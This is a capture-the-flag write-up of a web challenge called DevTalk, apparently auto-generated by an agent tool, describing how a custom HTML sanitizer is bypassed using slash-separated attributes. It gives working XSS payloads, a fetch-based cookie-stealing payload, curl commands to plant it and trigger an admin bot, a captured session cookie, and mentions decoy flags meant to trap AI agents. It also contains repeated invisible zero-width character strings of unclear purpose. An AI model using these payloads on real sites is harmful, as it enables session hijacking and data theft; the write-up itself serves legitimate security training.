← Back to Writeups
HTBN/AWeb

DevTalk

XESXOR8/23/20266 min read
#web#htb#n/a

DevTalk

Platform: HackAdvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-05-23 | Status: Solved Techniques: admin_bot_cookie_theft, html5_parser_slash_as_whitespace, same_origin_exfiltration_via_fetch, sanitizer_bypass_slash_separator, stored_xss_via_svg_onload

Summary

Task: Forum with custom HTML sanitizer allowing rich text in posts, admin bot reviews reported posts. Solution: Bypass sanitizer using / instead of space as attribute separator (<svg/onload=...>), exfiltrate admin cookies via same-origin fetch POST to a controlled thread.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: hackadvisor | ID: 20260523_hackadvisor_devtalk
  • Tags: nodejs, ejs, xss, stored_xss, cookie_stealing, express, admin_bot, same_origin_exfiltration, sanitizer_bypass, custom_sanitizer, html5_parsing, svg_onload, forum
  • Indicators: custom sanitizer mentioned in footer or source, HTML formatting allowed in user posts, report functionality triggers admin bot visit, connect.sid cookie without HttpOnly flag, no CSP header
  • Source: 20260523_hackadvisor_devtalk.md

Foothold

Vulnerability / Misconfiguration

  1. Admin_bot_cookie_theft
  2. Html5_parser_slash_as_whitespace
  3. Same_origin_exfiltration_via_fetch
  4. Sanitizer_bypass_slash_separator
  5. Stored_xss_via_svg_onload
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • admin_bot_cookie_theft
  • html5_parser_slash_as_whitespace
  • same_origin_exfiltration_via_fetch
  • sanitizer_bypass_slash_separator
  • stored_xss_via_svg_onload
  • Tags: nodejs, ejs, xss, stored_xss, cookie_stealing, express, admin_bot, same_origin_exfiltration, sanitizer_bypass, custom_sanitizer, html5_parsing, svg_onload, forum

Original Writeup

<details><summary>Click to expand original content</summary>

Description

DevTalk is a developer community forum built by CodeNest Inc., where engineers discuss technical topics, share solutions, and collaborate on problems. Users can create threads, post replies with rich text formatting, and browse discussions across multiple categories like Backend, Frontend, DevOps, and Security. The platform supports HTML formatting in posts, including bold text, code blocks, and hyperlinks. An active admin moderator regularly reviews reported posts to keep discussions productive. Explore the platform's content handling to find a way to access sensitive information that only the admin has access to. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

English summary: A Node.js/Express forum application allows HTML in posts, sanitized by a custom sanitizer. An admin bot visits threads when posts are reported. The goal is to exploit XSS to steal the admin's sensitive data.

Analysis

Application Reconnaissance

  • Stack: Node.js + Express with EJS templates
  • Forum features: Categories (General, Backend, Frontend, DevOps, Security), threads, replies with HTML formatting
  • Footer clue: "Rich text powered by custom sanitizer" — indicates a custom-built sanitizer, not DOMPurify or similar battle-tested library
  • No CSP header on any page — no Content-Security-Policy to block inline script execution
  • Cookie flags: connect.sid is set without HttpOnly — JavaScript can read document.cookie
  • Report functionality: /report/{post_id} triggers an admin bot to visit the thread containing the reported post
  • Decoy flags: FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} embedded in HTML comments and hidden divs on every page — a prompt injection trap for AI agents ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Sanitizer Behavior

Systematic testing revealed the custom sanitizer's rules:

Blocked (correctly stripped):

InputOutputRule
<script>alert(1)</script>(empty)<script> tag removed entirely
<img src=x onerror=alert(1)><img src=x>onerror attribute stripped
<svg onload=alert(1)><svg>onload attribute stripped
<details open ontoggle=alert(1)><details open>ontoggle stripped
<input onfocus=alert(1) autofocus><input autofocus>onfocus stripped
<iframe>, <object>, <embed>(removed)Dangerous tags removed entirely
<a href="javascript:..."><a href="#blocked:...">javascript: scheme blocked
<a href="data:..."><a href="#blocked:...">data: scheme blocked
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Bypass — / as attribute separator:

InputOutputResult
<svg/onload=alert(1)>Passed through unchanged✅ XSS fires
<img/src=x/onerror=alert(1)>Passed through unchanged✅ XSS fires
<details/open/ontoggle=alert(1)>Passed through unchanged✅ XSS fires
<input/onfocus=alert(1)/autofocus>Passed through unchanged✅ XSS fires
<video/src/onerror=alert(1)>Passed through unchanged✅ XSS fires
<audio/src/onerror=alert(1)>Passed through unchanged✅ XSS fires
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Root Cause

The custom sanitizer uses regex or string matching that only recognizes event handler attributes when separated from the tag name by whitespace (space, tab, newline). It does not recognize / (forward slash) as an attribute separator.

However, the HTML5 parser specification treats / after a tag name as equivalent to whitespace. Browsers parse <svg/onload="code"> identically to <svg onload="code">:

Sanitizer sees:  <svg/onload="code">  → tag name is "svg/onload" → no event handler found → pass
Browser parses:  <svg onload="code">  → onload is a real attribute → JavaScript executes

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Confirmed with Chrome headless --dump-dom:

Input:  <svg/onload="code">
Output: <svg onload="code">

Solution

Step 1: Create a Receiver Thread

Create a normal thread to collect exfiltrated data via replies:

curl -s -b cookies.txt 'http://TARGET/new-thread' \
  -d 'title=Receiver+Thread+-+Check+Replies&category_id=1&content=Placeholder+for+data+collection'

This created thread #25.

Step 2: Create Attack Thread with XSS Payload

Create a thread with the sanitizer-bypassing XSS payload that exfiltrates cookies via a same-origin POST: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

curl -s -b cookies.txt 'http://TARGET/new-thread' \
  -d "title=Best+practices+for+error+handling+in+async/await&category_id=2" \
  --data-urlencode "content=<p>What are your best practices for handling errors in async/await code?</p><svg/onload=\"fetch('/thread/25/reply',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'content=COOKIE:'+document.cookie})\">"

This created thread #26. The payload:

  1. Uses <svg/onload="..."> to bypass the sanitizer (slash instead of space)
  2. When the browser renders the page, the onload event fires immediately
  3. Uses fetch() to POST a reply to thread #25 containing document.cookie ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 3: Report the Post to Trigger Admin Bot

Added a reply to thread #26 with the same XSS payload (replies have report links; original posts don't), then reported it:

curl -s -b cookies.txt 'http://TARGET/report/60' \
  -d 'reason=Inappropriate+language'

Step 4: Admin Bot Visits → XSS Fires

The admin bot visited thread #26 to review the reported post. The <svg/onload> payload executed in the admin's browser context, which POSTed a reply to thread #25 containing the admin's full cookie string. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 5: Retrieve Exfiltrated Data

Checked thread #25 — the admin's reply appeared containing:

COOKIE:connect.sid=s:5-kEj0RFUPzST1_GoNaRLTvJNKlvV46H.BDZ9ybLYTUB+KzESs4Ig1twbyLibuVv/DH3tqJ/Ruco; flag=FLAG{REDACTED}

The flag was stored as a separate flag cookie in the admin's browser.

What Didn't Work

  1. Interaction server exfiltration — Payloads using new Image().src to send data to the interaction server (http://interact/<UUID>/) produced no requests in the logs. The admin bot's environment likely couldn't reach the interaction server. Same-origin exfiltration via reply POST was the working approach.
  2. Admin endpoint enumeration — Tried /admin, /admin/dashboard, /admin/reports, /admin/flag, /api/flag, /moderator, /dashboard, /settings — all returned 404. The flag was in the admin's cookies, not in a hidden endpoint.
  3. <img/src=x/onerror=...> with interaction server — While these payloads passed the sanitizer, the interaction server callback didn't work. Switching to same-origin exfiltration was the key insight. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR